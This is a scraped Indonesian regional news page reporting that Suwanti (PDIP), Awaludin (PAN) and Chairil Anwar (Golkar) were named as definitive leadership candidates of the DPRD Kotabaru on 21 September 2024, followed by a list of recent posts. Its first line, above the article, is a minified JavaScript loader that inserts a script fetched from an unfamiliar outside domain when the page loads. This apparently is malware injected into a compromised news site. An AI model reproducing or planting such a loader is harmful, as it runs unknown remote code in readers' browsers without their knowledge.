(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD KOTABARU

Calon Pimpinan Definitif DPRD Kotabaru Diumumkan


KANALKALIMANTAN.COM, KOTABARU – calon pimpinan definitif Dewan Perwakilan Rakyat Daerah (DPRD) Kotabaru riode 2024 -2029 diumumkan pada rapat paripurna, Sabtu (21/9/2024).

Suwanti dari PDIP Perjuangan yang sebelumnya ditunjuk menjadi Ketua Sementara diumumkan menjadi ketua definitif. Sedangkan posisi Wakil Ketua I dan II masing-masing bakal diisi Awaludin dari PAN dan Chairil Anwar dari Golkar.

Plt Sekretaris Dewan (Sekwan), Mardiatul Husna, menyatakan, pengumuman calon pimpinan definitif sebagaimana tertuang di dalam Undang Undang Nomor 42 tahun 2014 perubahan atas Undang Undang Nomor 17 tahun 2014 tentang MPR, DPRD, DPD, dan DPRD Pasal 376 ayat (2) dan (3).

Disebutkan, pimpinan sebagaimana dimaksud padat ayat (1) berasal dari partai politik, berdasarkan urutan perolehan kursi terbanyak di DPRD Kabupaten/Kota.

Kemudian DPRD Kabupaten/Kota, ialah anggota DPRD Kabupaten/Kota yang berasal dari partai politik yang memperoleh kursi terbanyak pertama di DPRD Kabupaten/Kota.

Serta memperhatikan keputusan komisi pemilihan umum Kabupaten/Kota Nomor 642 tahun 2024, tanggal 02 Mei 2024. Tentang penetapan calon terpilih anggota DPRD Kabupaten Kotabaru dalam pemilihan umum tahun 2024.

Surat Dewan Pimpinan Pusat PDIP Nomor : 6801/N/DPP/IX/2024 tanggal 20 September 2024, perihal pengesahan dan penetapan pimpinan DPRD Kabupaten Kotabaru.

Surat DPD PAN Nomor : PAN/18.02/B/K-S/42/IX/2024 tanggal 02 September 2024, perihal rekomendasi penetapan calon pimpinan DPRD Kabupaten Kotabaru periode 2024-2029.

Surat DPD Partai Golkar Nomor : B-020/GOLKAR-KTB/IX/2024 tanggal 14 September 2024, perihal penetapan calon pimpinan DPRD Kabupaten Kotabaru.

Ketua DPRD Kotabaru Sementara, Suwanti mengungkapkan, tindak lanjut hasil pengumuman ini akan disampaikan ke Bagian Tata Pemerintahan Kabupaten Kotabaru.

“Selanjutnya disampaikan ke Biro Pemerintahan Provinsi Kalimantan Selatan untuk didapatkan SK Gubernur dan berikutnya diparipurnakan secara istimewa sebagai penetapan.

Tidak ada tenggat waktu, akan diurus supaya cepat. Karena bakal melakukan pembahasan tahapan-tahapan selanjutnya,” ujar Suwanti.

Karena sebelum ada pimpinan definitif proses-proses pembahasan di internal akan terganggu, dengan tidak adanya AKD, Banmus, Banggar, dan lainnya.

Suwanti sendiri menargetkan sebelum akhir September ini sudah ada SK dan dilaksanakan penetapan melalui paripurna. (kanalkalimantan.com/dprdkotabaru/kk)

Reporter: kk
Editor: Dhani

 


Muhammad Andi

Recent Posts

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

1 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

17 jam ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

19 jam ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

19 jam ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

1 hari ago

Mereka Menanti Skatepark di Kota Seribu Sungai

KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More

1 hari ago

This website uses cookies.